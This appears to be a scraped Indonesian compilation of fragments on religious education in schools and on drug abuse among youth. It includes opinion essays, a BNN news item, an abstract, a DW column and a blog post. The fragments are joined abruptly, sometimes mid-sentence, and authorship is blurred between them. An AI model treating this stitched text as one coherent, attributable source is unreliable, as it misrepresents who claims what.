TerkaitUndang Undang yang akan diuji, yaitu, Undang-Undang (UU) Nomor 1 Tahun 1965 tentang Penyalahgunaan dan Penodaan Agama, para pemohon yang terdiri dari Imparsial, Elsam, PBHI, Demos, Setara, Yayasan Desantara, dan YLBHI menghendaki pengujian pada Pasal 1, Pasal 2 ayat (1), Pasal 2 ayat (2), Pasal 3, Pasal 4a, dan Pasal 156 a tersebut
Pro dan Kontra Terhadap Pengajaran Agama di Sekolah Pengajaran agama di sekolah masih menjadi perdebatan hingga saat ini. Ada beberapa pihak yang menilai bahwa pengajaran agama di sekolah sangat penting dalam membentuk karakter siswa, sementara ada juga yang merasa bahwa keberadaan pengajaran agama di sekolah tidak penting dan kurang relevan dengan perkembangan zaman. Para pendukung pengajaran agama di sekolah menyatakan bahwa pendidikan agama dapat membantu siswa mengenali ajaran-ajaran yang sesuai dengan ajaran agama. Dalam hal ini, pendidikan agama dapat membantu siswa menghindari perilaku-perilaku negatif seperti penyalahgunaan narkoba, premanisme dan perkelahian, serta perilaku berbahaya lainnya. Selain itu, pengajaran agama di sekolah juga dianggap sangat penting dalam membentuk karakter siswa, seperti menanamkan nilai-nilai moral, yang lebih sulit ditanamkan dalam pelajaran umum. Pembentukan karakter siswa yang kuat diperlukan agar siswa bisa berkembang menjadi individu yang baik dan tidak mudah tergoda dengan hal-hal yang negatif. Sebaliknya, ada juga sebagian orang yang merasa bahwa pengajaran agama terutama dalam konteks keberadaannya di sekolah tidak relevan. Faktanya, pelajaran agama di sekolah jarang dikaitkan dengan masalah praktis yang dihadapi siswa sehari-hari. Kurikulum agama yang dijalankan juga tidak selalu mencerminkan konteks lokal, sehingga siswa kurang mengenal dengan baik ajaran-ajaran agama yang berlaku di masyarakat sekitarnya. Ada juga pendapat bahwa keberadaan pelajaran agama di sekolah bisa berbahaya bagi kebebasan beragama. Siswa yang tidak memeluk agama tertentu, mungkin merasa sangat tidak nyaman dalam pelajaran agama, karena dianggap di “wajibkan” untuk memahami ajaran-ajaran tertentu. Hal ini bisa membuat siswa merasa sangat ditekan dan tidak nyaman. Sebagian orang juga menyatakan bahwa pendidikan agama yang dijalankan di sekolah kurang memfokuskan pada pengajaran moral atau praktik keagamaan yang lebih spesifik. Banyak pelajaran agama di sekolah yang hanya berfokus pada penjelasan tentang ajaran agama, misalnya tentang nabi, kitab suci, dan ritual keagamaan. Padahal, untuk menghindari penyalahgunaan narkoba atau perilaku negatif lainnya, siswa perlu diberikan panduan konkrit tentang apa saja yang harus dilakukan dan dihindari. Secara umum, keberadaan pelajaran agama di sekolah memang masih menjadi perdebatan. Meski demikian, pengajaran agama yang tepat di sekolah sangat penting untuk membentuk karakter siswa yang kuat dan membentuk sikap yang positif dalam pandangan agama. Oleh karena itu, diperlukan pendekatan yang tepat dan holistik dalam pengajaran agama, sehingga siswa dapat lebih mengenal ajaran-ajaran agama yang berlaku di masyarakat dan mempraktikkan ajaran-ajaran agama tersebut dalam kehidupannya sehari-hari. Penyalahgunaan narkoba sebagai akibat kurangnya pendidikan agama Indonesia adalah negara yang memiliki banyak masalah penyalahgunaan narkoba. Masalah ini tidak hanya terjadi pada orang dewasa, tetapi juga pada anak-anak dan remaja. Banyak faktor yang menyebabkan penyalahgunaan narkoba, salah satunya adalah kurangnya pendidikan agama. Di Indonesia, pendidikan agama sangat penting dan menjadi bagian dari kurikulum di sekolah-sekolah. Namun, tidak semua orang memiliki kesempatan untuk menerima pendidikan agama yang cukup, baik di sekolah maupun di rumah. Kondisi ini sering terjadi di daerah-daerah tertentu, di mana penduduknya kurang terdidik dan memiliki sumber daya yang terbatas. Padahal, pendidikan agama yang baik dapat menjadi solusi untuk mencegah penyalahgunaan narkoba. Melalui pendidikan agama, anak-anak dan remaja akan ditanamkan nilai-nilai moral yang baik, seperti kesadaran diri, ketaqwaan, dan sikap menjaga diri sendiri. Anak-anak dan remaja yang memiliki pendidikan agama yang baik akan lebih menyadari bahaya dari penyalahgunaan narkoba dan hal-hal negatif lainnya. Sayangnya, tidak semua orang menyadari pentingnya pendidikan agama. Beberapa di antara mereka bahkan menganggap bahwa pendidikan agama tidak terlalu penting, dan hanya menganggapnya sebagai formalitas belaka. Hal ini sangat disayangkan, karena pendidikan agama adalah salah satu cara untuk menjauhkan anak-anak dari penyalahgunaan narkoba dan membentuk karakter yang baik. Kurangnya pendidikan agama juga dapat menyebabkan masalah moral dan etika dalam masyarakat. Ketika seseorang tidak memiliki dasar moral dan etika yang kuat, mereka lebih cenderung untuk melakukan hal-hal yang tidak baik. Salah satunya adalah penyalahgunaan narkoba. Tanpa pendidikan agama yang cukup, seseorang dapat dengan mudah tergoda oleh godaan narkoba dan melakukan tindakan-tindakan kriminal lainnya. Ada beberapa upaya yang dapat dilakukan untuk meningkatkan pendidikan agama di Indonesia. Pertama, pemerintah harus meningkatkan kualitas pendidikan agama di sekolah-sekolah dan memastikan bahwa semua siswa menerima pendidikan agama yang cukup. Kedua, para orang tua harus lebih aktif dalam memberikan pendidikan agama kepada anak-anaknya di rumah. Ketiga, masyarakat sendiri harus memahami pentingnya pendidikan agama dalam membentuk karakter dan moral yang baik. Penyalahgunaan narkoba adalah masalah yang sangat serius di Indonesia. Masalah tersebut dapat diatasi dengan meningkatkan kualitas pendidikan agama di seluruh kegiatan di Indonesia. Penduduk Indonesia harus menyadari bahwa pendidikan agama adalah sesuatu yang sangat penting dan tidak bisa diabaikan. Jika semua orang memiliki pengetahuan dan kesadaran yang sama tentang pentingnya pendidikan agama, maka di masa depan, Indonesia bisa bebas dari masalah penyalagunaan narkoba dan nilai moral dan etika dalam masyarakat pun akan lebih kuat. Debat tentang pengaruh agama dalam pencegahan penyalahgunaan narkoba Penyalahgunaan narkoba merupakan masalah global yang mengakibatkan dampak yang sangat buruk bagi kesehatan dan perilaku manusia. Hal ini juga menjadi masalah besar di Indonesia, dengan peningkatan angka kasus setiap tahunnya. Banyak faktor yang mempengaruhi penyalahgunaan narkoba, salah satunya adalah kurangnya pendidikan agama. Terdapat debat mengenai pengaruh agama dalam pencegahan penyalahgunaan narkoba di Indonesia. Ada yang menganggap bahwa agama memegang peranan penting dalam pencegahan penyalahgunaan narkoba, sementara ada pula yang berpendapat bahwa pandangan agama tidaklah cukup untuk mengatasi masalah penyalahgunaan narkoba. Pendukung dari pandangan pertama berpendapat bahwa agama dapat menjadi solusi untuk mengatasi masalah penyalahgunaan narkoba di Indonesia. Pendidikan agama dapat memberikan pengertian yang lebih mendalam tentang pentingnya menjaga kesehatan tubuh dan kesadaran moral sebagai manusia. Hal ini dapat mengurangi keinginan seseorang untuk mencoba narkoba dan membuatnya lebih sadar akan dampak buruk yang ditimbulkan oleh narkoba. Selain itu, nilai-nilai agama yang mengajarkan tentang kebaikan dan kebenaran, juga dapat membantu individu untuk memilih jalan yang benar dalam menjalani hidup. Namun, pihak yang berpendapat bahwa pandangan agama tidaklah cukup untuk mengatasi masalah penyalahgunaan narkoba juga memiliki argumen yang kuat. Meskipun agama mengajarkan nilai-nilai moral yang baik, namun kenyataannya masih banyak orang yang melanggar nilai-nilai tersebut. Contohnya, masih banyak oknum yang identik dengan kegiatan keagamaan yang memproduksi dan menyebarkan narkoba. Secara umum, banyak faktor yang mempengaruhi penyalahgunaan narkoba yang tidak terkait dengan agama. Beberapa faktor tersebut antara lain lingkungan, keluarga, teman, dan tekanan sosial. Oleh karena itu, sekedar dengan mengajarkan nilai agama saja tidaklah cukup untuk menanggulangi masalah penyalahgunaan narkoba. Sebaiknya, pendidikan tentang narkoba dan hal-hal yang berkaitan dengan gerakan anti-narkoba harus ditanamkan tidak hanya di lingkungan keluarga, tetapi juga di institusi pendidikan, seperti sekolah dan universitas. Dalam institusi pendidikan tersebut, siswa dapat diberikan edukasi mengenai bahaya narkoba secara terperinci serta dampak buruk yang ditimbulkannya, sehingga mereka dapat menyadari bahaya dari narkoba tersebut. Hal-hal seperti ini dapat dikemas dalam bentuk kegiatan seminar atau edukasi di luar kurikulum, dan bisa dilakukan secara rutin untuk memastikan efektivitasnya. Selain itu, pihak kepolisian dan pemerintah juga harus turut berperan aktif dalam penanganan masalah narkoba. Dibutuhkan penegakan hukum yang tegas bagi pelaku yang terbukti terlibat dalam produksi dan penyebaran narkoba. Selain itu, kebijakan-kebijakan seperti kampanye anti-narkoba dan pembuatan program rehabilitasi juga perlu diberikan untuk membantu para korban narkoba untuk sembuh dan menyadari bahaya dari narkoba tersebut. Intinya, masalah penyalahgunaan narkoba merupakan masalah global yang sangat kompleks dan sulit untuk diselesaikan dengan mudah. Pandangan agama dapat membantu dalam menekan permasalahan ini, tetapi tidaklah cukup. Oleh karena itu, dibutuhkan kerja sama dari berbagai pihak, seperti keluarga, institusi pendidikan, kepolisian dan pemerintah untuk dapat menangani penyalahgunaan narkoba dengan efektif. Kurikulum Pendidikan Agama yang Efektif dalam Mencegah Penyalahgunaan Narkoba Penyalahgunaan narkoba di Indonesia semakin meningkat dari tahun ke tahun. Menurut data Badan Narkotika Nasional BNN, angka penyalahgunaan narkoba mencapai 4,3 juta jiwa pada tahun 2019. Hal ini menjadi perhatian serius bagi pemerintah dan masyarakat Indonesia. Salah satu faktor yang berkontribusi pada masalah penyalahgunaan narkoba adalah kurangnya pendidikan agama. Saat ini, banyak siswa di Indonesia yang tidak memperoleh pembelajaran agama yang memadai di sekolah-sekolah mereka. Padahal, pendidikan agama yang efektif dapat membantu mencegah perilaku penyalahgunaan narkoba. Lalu, seperti apa kurikulum pendidikan agama yang efektif dalam mencegah penyalahgunaan narkoba? 1. Menekankan pentingnya nilai-nilai agama Kurikulum pendidikan agama yang efektif harus menekankan pentingnya nilai-nilai agama dalam kehidupan sehari-hari. Siswa-siswa harus diajarkan nilai-nilai moral, etika, dan spiritual yang ada dalam agama. Dengan begitu, siswa-siswa akan memiliki dasar yang kuat dalam memahami dan menginternalisasi nilai-nilai agama. Hal ini sangat penting dalam mencegah penyalahgunaan narkoba, karena nilai-nilai agama dapat membantu siswa-siswa untuk memiliki sikap yang benar dan menjauhi perilaku yang merugikan. Siswa-siswa yang mengerti nilai-nilai agama akan memahami bahwa penyalahgunaan narkoba adalah bertentangan dengan ajaran agama. 2. Memberikan pemahaman tentang bahaya narkoba Kurikulum pendidikan agama yang efektif harus memberikan pemahaman tentang bahaya narkoba. Siswa-siswa harus diberikan informasi tentang jenis-jenis narkoba, efek-efek yang ditimbulkan, dan risiko-risiko yang ada. Dengan begitu, siswa-siswa akan mengetahui betapa berbahayanya penyalahgunaan narkoba. Hal ini dapat membantu siswa-siswa untuk memahami konsekuensi dari perilaku tersebut dan membuat keputusan yang tepat. Siswa-siswa yang teredukasi tentang bahaya narkoba akan lebih mudah menjauhi narkoba dan memilih untuk hidup sehat. 3. Membangun kesadaran sosial Kurikulum pendidikan agama yang efektif juga harus membantu siswa-siswa untuk membangun kesadaran sosial. Siswa-siswa perlu diberikan pemahaman tentang pentingnya menjaga lingkungan sekitar dan saling membantu sesama. Dengan begitu, siswa-siswa akan lebih sadar akan dampak negatif penyalahgunaan narkoba pada masyarakat. Hal ini dapat membantu siswa-siswa untuk tidak hanya menjauhi narkoba secara pribadi, tetapi juga untuk ikut membangun masyarakat yang sehat dan terbebas dari narkoba. Dengan begitu, siswa-siswa akan merasa memiliki tanggung jawab sosial dalam hal ini. 4. Mengambil pendekatan yang interaktif dan kreatif Kurikulum pendidikan agama yang efektif tidak hanya harus memberikan pemahaman tentang agama dan bahaya narkoba, tetapi juga harus mengambil pendekatan yang interaktif dan kreatif. Siswa-siswa harus diajak untuk aktif berpartisipasi dalam pembelajaran, seperti diskusi, permainan, dan kegiatan-kegiatan yang kreatif. Dengan begitu, siswa-siswa akan lebih tertarik dan termotivasi untuk belajar tentang agama dan bahaya narkoba. Selain itu, pendekatan yang kreatif dan interaktif dapat membantu siswa-siswa untuk memahami materi dengan lebih mudah dan menyenangkan. Kurikulum pendidikan agama yang efektif dapat membantu mencegah penyalahgunaan narkoba di Indonesia. Dengan menekankan pentingnya nilai-nilai agama, memberikan pemahaman tentang bahaya narkoba, membangun kesadaran sosial, dan mengambil pendekatan yang interaktif dan kreatif, siswa-siswa akan memiliki dasar yang kuat untuk menjauhi narkoba dan hidup sehat. Oleh karena itu, perlu adanya perbaikan dalam pendidikan agama di Indonesia. Pentingnya Integrasi Nilai Agama dalam Pembentukan Karakter Siswa untuk Mencegah Penyalahgunaan Narkoba Penyalahgunaan narkoba menjadi masalah yang sangat serius di Indonesia. Banyak faktor yang mempengaruhi hal ini, mulai dari masalah sosial, ekonomi, hingga pendidikan. Dalam konteks pendidikan, kurangnya pemahaman dan integrasi nilai agama dalam pembentukan karakter siswa disebut-sebut sebagai salah satu penyebab utama dari penyalahgunaan narkoba yang terjadi. Oleh karena itu, integrasi nilai agama dalam pembentukan karakter siswa menjadi sangat penting untuk mencegah penyalahgunaan narkoba di Indonesia. 1. Memahami pentingnya nilai agama dalam pembentukan karakter siswa Sejak dini, nilai agama harus ditanamkan dalam pembentukan karakter siswa. Ini sejalan dengan fungsi pendidikan sebagai pengembangan manusia seutuhnya, bukan hanya pada aspek intelektual, tetapi juga aspek moral dan spiritual. Sekolah harus mengajarkan nilai-nilai agama sekaligus membentuk karakter siswa agar siap menghadapi berbagai persoalan didalam kehidupan. Dalam konteks penyalahgunaan narkoba, nilai agama dapat menjadi dasar bagi siswa dalam memahami bahwa penyalahgunaan narkoba bukanlah tindakan yang baik dan bertentangan dengan ajaran agama. 2. Membentuk karakter siswa berdasarkan nilai-nilai agama Selain memahami pentingnya nilai agama, sekolah juga harus menerapkan pembentukan karakter siswa berdasarkan nilai-nilai agama. Hal ini dapat dilakukan melalui penerapan kurikulum yang mengintegrasikan nilai-nilai keagamaan pada setiap mata pelajaran. Selain itu, sekolah dapat menyelenggarakan kegiatan-kegiatan yang berorientasi pada pembentukan karakter siswa, seperti kegiatan keagamaan, kegiatan sosial, dan kegiatan lainnya yang mengandung nilai-nilai keagamaan. 3. Menciptakan lingkungan pendidikan yang kondusif Sekolah juga harus menciptakan lingkungan pendidikan yang kondusif bagi siswa dalam pembentukan karakter berdasarkan nilai-nilai agama. Lingkungan pendidikan yang kondusif harus menciptakan nuansa kekeluargaan yang mengakomodasi variasi karakter siswa dari berbagai asal usia. Dalam lingkungan pendidikan yang kondusif, siswa dapat lebih mudah untuk belajar dan terciptanya ketertarikan akan ajran keagamaan. 4. Mendidik siswa tentang bahayanya penyalahgunaan narkoba Sekolah sebaiknya mempunyai program yang menyediakan pendidikan tentang bahayanya penyalahgunaan narkoba. Pendidikan yang dimaksud bukan hanya tentang adanya hukuman yang diancamkan oleh negara, tetapi hanya bagaimana narkoba mempengaruhi diri siswa itu sendiri. Penyampaian materi yang ringan dan mudah dipahami oleh siswa adalah salah satu kunci terjadinya pemahaman dan kesadaran siswa tentang bahayanya narkoba. 5. Mengenali tanda-tanda penyalahgunaan narkoba pada siswa Ketika siswa sudah memasuki tahap sekolah dasar, guru harus memiliki pemahaman yang tepat tentang tanda-tanda dan perilaku siswa yang menunjukkan bahwa mereka telah terpengaruh oleh narkoba. Guru harus bersikap responsif dengan memeriksakan siswa ke pihak-pihak yang terampil untuk menangani atau memberikan saran serta pendampingan yang dibutuhkan untuk menjauhi pengaruh negatif tersebut. Sekolah juga harus terlibat dalam menyelesaikan masalah penyalahgunaan narkoba pada siswa. Pada kasus yang lebih parah, sekolah harus mampu mendeteksi dan menangani dengan cepat agar tidak mengganggu kesejahteraan siswa maupun sekolah. Dalam merealisasikan integrasi nilai agama dalam pembentukan karakter siswa, kerjasama antara sekolah dan keluarga sangat penting. Keluarga harus turut bertanggung jawab dalam pembentukan karakter anak, dan sekolah harus mengambil peran sebagai mitra pendidikan yang fokus pada pengembangan karakter siswa yang berkualitas.
Kurangnya perhatian orang tua pada anak, ini juga salah satu penyebab dari faktor keluarga, orang tua terlalu sibuk bekerja atau bahkan kurang peduli dengan pendidikan dan morla anak. - Terlalu memanjakan anak , memanjakan anak juga bisa menjadi masalah, khususnya penyalahgunaan narkoba, baca selengkapnya pada : 10 Dampak Buruk Akibat TerlaluJAKARTA, - Deputi Pemberantasan BNN Irjen Arman Depari mengungkapkan, anggota keluarga yang memiliki ketergantungan narkoba kerap kali masih dianggap sebagai aib. Akibatnya, keluarga pecandu enggan melapor sehingga dapat berdampak pada penanganannya. Menurutnya, hal itu menjadi salah satu potensi yang menyebabkan maraknya penggunaan narkotika di masyarakat.“Di mana seharusnya, sesuai peraturan dan UU, kita tidak usah khawatir, kalau mereka, atau anak-anak ini memang adalah pemakai atau pecandu, jika dilaporkan justru akan kita rehabilitasi,” kata Arman saat diwawancarai di Radio Elshinta, Jumat 5/6/2020. Baca juga BNN Banyak Pengedar Narkoba Divonis Hukuman Mati, tapi Pelaksanaannya Belum Kemudian, faktor lainnya adalah rasa ingin tahu anak-anak muda untuk mencoba obat-obatan terlarang tersebut. Lalu, adanya anggapan bahwa penggunaan narkoba merupakan bagian dari gaya hidup. Apabila ada yang telah menjadi pecandu, orang tersebut dapat memengaruhi temannya untuk mencoba barang haram mencegah hal tersebut, Arman menekankan pentingnya mengawasi keluarga dan lingkungan sekitar agar tidak terjerumus. “Ini tentu tidak bisa hanya dilakukan oleh aparat saja, maka setelah keterlibatan para orangtua, tokoh-tokoh, baik tokoh muda, tokoh agama dan masyarakat yang lain,” ucapnya. Baca juga BNN Soroti Sindikat Narkoba Jaringan Iran yang Kembali Aktif di Tengah Pandemi Sebagai informasi, Pasal 54 Undang-Undang Nomor 35 Tahun 2009 tentang Narkotika menyebutkan, pecandu narkotika dan korban penyalahgunaan narkotika wajib menjalani rehabilitasi medis dan rehabilitasi sosial. Kemudian, Pasal 55 ayat 1 mengatur bahwa orangtua atau wali dari pecandu narkotika yang belum cukup umur wajib melapor demi mendapatkan rehabilitasi. Pasal itu berbunyi, “Orangtua atau wali dari pecandu narkotika yang belum cukup umur wajib melaporkan kepada pusat kesehatan masyarakat, rumah sakit, dan/atau lembaga rehabilitasi medis dan rehabilitasi sosial yang ditunjuk oleh pemerintah untuk mendapatkan pengobatan dan/atau perawatan melalui rehabilitasi medis dan rehabilitasi sosial”. Ayat berikutnya juga mewajibkan pecandu yang sudah cukup umur untuk melaporkan diri maupun dilaporkan oleh keluarga ke rumah sakit atau lembaga terkait lainnya. Dapatkan update berita pilihan dan breaking news setiap hari dari Mari bergabung di Grup Telegram " News Update", caranya klik link kemudian join. Anda harus install aplikasi Telegram terlebih dulu di ponsel.
Kontra: Memang ada benarnya apa yang anda katakan bahwa, kurangnya pendidikan agama di rumah dan sekolah adalah penyebab utama penyalahgunaan narkoba pada kalangan remaja saat ini. Namun, sebenarnya ada faktor-faktor lain penyebab remaja melakukan penyalahgunaan narkoba selain dari pendidikan agamanya, yaitu : 1. This article aims to discuss drug abuse in the perspective of Christian religious education. Narcotics are basically good drugs when used according to the dosage or doctor&39;s recommendations for health. However, if someone uses it without medical indication or without a doctor&39;s instructions because of the disease or other things recommended by the doctor, it will cause addiction / addiction and dependence popularly known as narcotics. In this case, without the indication use recommended by a doctor or an improper dose it will be dangerous to human health and can even cause sudden death. Bible neither directly addresses the topic of drug abuse nor mentions literal prohibition on narcotics and their use. However, it does not mean drug abuse is allowed. In Christian faith, believers must abstain from drugs because drugs can damage both physically and spiritually. In Corinthians 7 1, it explains "purify yourselves from all things that can defile body and spirit, so that ...Abstract Perkembangan peredaran dan penyalahgunaan narkoba akhir-akhir ini, telah mencapai situasi yang mengkhawatirkan, sehingga menjadi persoalan kenegaraan yang mendesak. Karena korban penyalahgunaan narkoba bukan hanya orang dewasa, mahasiswa tetapi juga pelajar SMU sampai pelajar setingkat SD. Dikatakan, remaja merupakan golongan yang
Gambar ilustrasi Anak sekolah di IndonesiaFoto Suryanto/AA/picture alliance Sejak beberapa tahun terakhir masyarakat Indonesia ramai membicarakan tentang wacana perlu-tidaknya pelajaran agama di sekolah, khususnya sekolah negeri yang berada di bawah otoritas pemerintah. Sebagian masyarakat menganggap pelajaran agama itu bukan hanya perlu tetapi juga sangat penting untuk anak didik. Sementara sebagian yang lain menganggap pelajaran agama di sekolah itu tidak perlu dan tidak penting. Yang perlu dan penting, menurut mereka, adalah tentang pendidikan moral dan budi pekerti. Pro-kontra itu disebabkan karena alasan dan argumen yang berbeda. Kelompok yang setuju pelajaran agama beralasan kalau agama adalah ajaran fundamental yang akan membawa keselamatan manusia di dunia dan akhirat karenanya harus diperkenalkan pada peserta didik sejak sedini mungkin. Bagi kelompok ini, agama penting diajarkan di sekolah karena ia merupakan "pedoman hidup” yang bisa membimbing manusia ke "jalan yang benar”. Lebih penting lagi, mengajarkan agama di sekolah merupakan kewajiban yang dimandatkan oleh Tuhan dan Kitab Suci mereka. Sementara itu, kelompok yang kontra pelajaran agama di sekolah berargumen kalau ia berpotensi untuk disalahgunakan dan diselewengkan oleh para guru/dosen untuk tujuan dan kepentingan tertentu. Bukan hanya itu, mereka berpendapat, agama juga dijadikan sebagai instrumen untuk memupuk eksklusivisme dan fanatisme serta menyebarkan kebencian terhadap orang/umat agama lain yang membahayakan fondasi kebangsaan dan kenegaraan kolom Sumanto al QurtubyFoto S. al Qurtuby Bagai Pedang Bermata Dua Memang tidak mudah untuk menyelesaikan dan mengkompromikan pro-kontra pendapat masyarakat tentang pelajaran agama di sekolah karena mereka berangkat dari alasan, tujuan, dan basis argumen yang berbeda. Misalnya, kelompok yang pro mengandaikan agama sebagai sesuatu yang baik, positif, serta membawa kemaslahatan umat manusia. Sedangkan kelompok yang kontra menganggap agama memiliki "sisi gelap” yang bisa membawa dampak negatif di masyarakat dan mengancam relasi antarumat manusia. Agama memang bak pedang bermata dua. Satu sisi agama berisi ajaran kemanusiaan universal seperti cinta, kasih sayang, rahmat kerahiman, tolong-menolong, dlsb yang tentu saja sangat baik dan positif bagi masyarakat dari latar belakang etnis dan agama manapun. Tetapi di pihak lain, agama juga berisi teks, ajaran, norma, aturan, atau wacana yang–jika tidak diantisipasi dengan baik–bisa membawa keburukan di masyarakat seperti diktum tentang klaim kebenaran dogma, klaim keselamatan pascakematian, purifikasi keimanan, kesesatan kepercayaan lain, dlsb. Itulah sebabnya kenapa sejarawan University of Notre Dame, Scott Appleby, menyebut agama sebagai "The Ambivalence of the Sacred”. Agama adalah ibarat kontainer, pasar, atau supermall yang bisa berisi atau diisi dengan barang apapun oleh si empunya atau si pelaku. Watak atau karakter agama yang ambigu atau ambivalen inilah yang menyebabkan agama bisa menjadi sumber kebaikan tetapi juga keburukan sekaligus, kemaslahatan dan kemudaratan, kecintaan dan kebencian, perdamaian dan kekisruhan, toleransi dan intoleransi, keberadaban dan kebiadaban, kepicikan dan pluralisme, kemunduran dan kemajuan, dan seterusnya. Jika agama jatuh ke tangan "si baik”, maka ia akan dijadikan sebagai ilham atau sumber inspirasi untuk membangun peradaban manusia dan hubungan antarumat yang penuh dengan spirit kebersamaan, persaudaraan, rahmat, dan kasih-sayang. Sebaliknya, jika agama jatuh ke tangan "si jahat dan buruk rupa”, maka ia akan dijadikan sebagai alat untuk menipu umat, menumpuk kekayaan, menggapai syahwat kekuasaan, memupuk kebencian, menciptakan keangkaramurkaan, memprovokasi kerusuhan, memusnahkan kebudayaan, merusak lingkungan dan alam semesta, dan bahkan membunuh sesama umat manusia. Indonesia dan belahan dunia manapun sudah membuktikan semua itu. Ada kelompok agama yang baik hati, toleran-pluralis, dan manusiawi tetapi juga ada sekelompok agama yang bejat, tak bermoral, fanatik ekstrim, dan jauh dari nilai-nilai kemanusiaan. Termasuk dari kelompok agama ini adalah para guru agama itu sendiri, baik guru agama di sekolah maupun institusi lainnya. Ada guru-guru agama yang baik dan memahami pentingnya hidup dalam damai di masyarakat yang majemuk. Tetapi ada pula guru-guru agama yang tidak mau mengerti dan tidak peduli dengan keberadaan umat agama lain. Masing-masing kelompok agama ini, termasuk para guru agama, mendasarkan sikap, pikiran, tindakan, dan aksi mereka pada diktum-diktum dan tafsir agama yang mereka yakini dan Pelajaran Agama di Sekolah? Jika ambivalensi atau ambiguitas itu adalah watak/karakter inheren sebuah agama, masih perlukah pelajaran agama di sekolah? Jawaban atas pertanyaan ini tergantung pada dua hal mendasar berikut ini. Pertama, kurikulum/pelajaran agama macam apa yang akan diajarkan di sekolah dan kedua, guru agama model apa yang akan mengajarkan agama di sekolah. Jika kurikulum/pelajaran agama yang diajarkan itu berisi nilai-nilai kemanusiaan yang baik dan positif untuk membangun harmoni sosial di masyarakat yang multiagama serta demi kemajuan bangsa dan negara, maka tidak ada masalah agama diajarkan di sekolah-sekolah. Sudah sejak zaman dahulu kala pelajaran agama diajarkan di sekolah-sekolah formal maupun lembaga pendidikan informal di Indonesia tetapi tidak menimbulkan masalah berarti dan problem sosial yang signifikan di masyarakat. Tetapi jika kurikulum/pelajaran agama yang diajarkan itu berisi ajaran, norma, aturan, dan wacana yang bernuansa negatif dan berpotensi menciptakan keburukan, disharmoni, dan kemunduran di masyarakat, maka pelajaran agama itu tidak perlu dan tidak penting sama sekali untuk diajarkan pada peserta didik. Pula, jika para guru yang mengajarkan pelajaran agama itu adalah para guru yang baik, berpikiran terbuka, berpandangan luas, dan berwatak toleran-pluralis, maka pelajaran agama di sekolah itu bukan hanya perlu tetapi sangat penting untuk diajarkan pada anak didik. Sebaliknya, jika para guru agama itu adalah sekumpulan orang yang berpikiran cupet dan fanatik buta, berpandangan sempit, serta berwatak rigid dan eksklusif yang anti kemajemukan dan kemanusiaan, maka pelajaran agama di sekolah itu sama sekali tidak perlu dan tidak penting. Disinilah peran penting pemerintah dan elemen masyarakat untuk mengawasi dan memastikan kualitas pelajaran agama macam apa yang diajarkan di sekolah serta guru agama model apa yang mengajarkan pelajaran agama di sekolah. Pemerintah dan masyarakat harus pro-aktif mengawal jalannya pendidikan serta proses belajar-mengajar di sekolah agar lembaga pendidikan tidak dijadikan sebagai 1 sarang kelompok fanatik, radikal, ekstrimis, dan intoleran, 2 alat untuk memproduksi ajaran dan wacana intoleransi, ultrafanatisisme, antikemajemukan, dan kontrakebangsaan, dan 3 medium untuk mencetak manusia-manusia bebal, intoleran, ultrafanatik, radikal-ekstrimis, close-minded, serta anti terhadap fondasi kebangsaan dan kenegaraan Republik Indonesia. Pemerintah khususnya tidak perlu ragu untuk "menertibkan” kurikulum/pelajaran agama di sekolah serta menindak tegas para guru agama yang berhaluan radikal-militan karena mereka hanya akan menjadi duri dan penyakit bagi masyarakat, bangsa, dan negara. Sumanto Al Qurtuby Pendiri dan Direktur Nusantara Institute; Anggota Dewan Penasehat Asosiasi Antropologi Indonesia Jawa Tengah. *Setiap tulisan yang dimuat dalam DWNesia menjadi tanggung jawab penulis. Meskipunpendidikan inklusif telah diakui di seluruh dunia sebagai salah satu uapaya mempercepat pemenuhan hak pendidikan bagi setiap anak, namun perkembangan pendidikan inklusif mengalami kemajuan yang berbeda-beda di setiap negara. Sebagai inovasi baru, pro dan kontra pendidikan inklusif masih terjadi dengan alasan masing-masing. Kompasiana adalah platform blog. Konten ini menjadi tanggung jawab bloger dan tidak mewakili pandangan redaksi Kompas. Penyalahgunaan Narkoba di Kalangan Remaja dan Pelajar Serta Pandangan Dalam Agama IslamNaily Himmatul UlyaNailyhilya 3120008 Narkotika, psikotropika, dan bahan adiktif berbahaya lainnya atau biasa disingkat dengan istilah narkoba. Narkoba merupakan obat berbahaya yang dapat membuat seseorang menjadi lumpuh atau mati rasa akibat mengkonsumsinya. Ada beberapa macam dari narkotika ialah opioida, morfin, codein, heroin, ganja, metadon, dan kokain. Macam-macam psikotropika yaitu amphetamine dan ATS Amphetamine Type Stimulants. Macam-macam dari bahan adiktif lainnya yaitu alkohol, kafein atau caffine, zat sedatif dan hipnotika, halusinogen dan inhalansia. Ada beberapa jenis narkoba yang digunakan untuk kesehatan, membantu kegiatan medis, dan juga digunakan untuk penelitian. Namun, ada beberapa orang yang terkadang melakukan penyalahgunaan terhadap narkoba. Penyalahgunaan narkoba menjadi suatu masalah besar bagi semua bangsa termasuk di Indonesia. Penyalahgunaan narkoba kebanyakan terjadi di kalangan remaja dan pelajar. Faktor yang memengaruhi para remaja dan pelajar mengkonsumsi narkoba di antaranya yaitu karena kurangnya perhatian dan kasih sayang dari orang tua yang tidak dapat dirasakan oleh anak. Orang tua yang kurang menberikan perhatian dan kasih sayang dapat mengakibatkan pergaulan anak tidak terkontrol. Selain itu, pengetahuan ilmu agama yang masih kurang, minimnya pengetahuan mengenai narkoba, lari dari masalah yang sedang dihadapi hanya untuk kesenangan sesaat, dan mendapat pengaruh dari teman-temannya yang sudah terjerumus dalam narkoba. Awalnya para pengguna narkoba hanya coba-coba namun lama kelamaan dapat menimbulkan ketergantungan. Jika seseorang terlanjur kecanduan mengkonsumsi narkoba banyak dampak negatif yang akan ditimbulkan. Jika narkoba dikonsumsi secara terus menerus dan melebihi dosis dapat mengakibatkan ketergantungan. Ketergantungan ini akan mengakibatkan gangguan pada penggunanya. Penyalahgunaan narkoba juga menjadi salah satu sumber tindakan kriminal yang dapat mengganggu ketenteraman dalam kehidupan masyarakat. Dampak negatif penyalahgunaan narkoba bagi remaja dan pelajar di antaranya terjadi perubahan sikap, perilaku dan kepribadian pada diri remaja dan pelajar, mereka akan sering membolos ketika jam sekolah, turunnya kedisiplinan dan nilai-nilai pelajaran sekolah, menjadi pribadi yang pemalas, mudah marah, mudah mengantuk, bahkan dapat melakukan tindakan pencurian hanya untuk membeli narkoba. Selain itu, penyalahgunaan narkoba dapat mengakibatkan berubahnya perilaku dan juga kesadaran pada penggunanya. Penyalahgunaan narkoba juga membahayakan kesehatan penggunanya. Efek jika melakukan penyalahgunaan narkoba yaitu dapat mengakibatkan penggunanya depresan pengguna narkoba akan merasa tenang, dan jika kelebihan dosis dapat menyebabkan kematian, 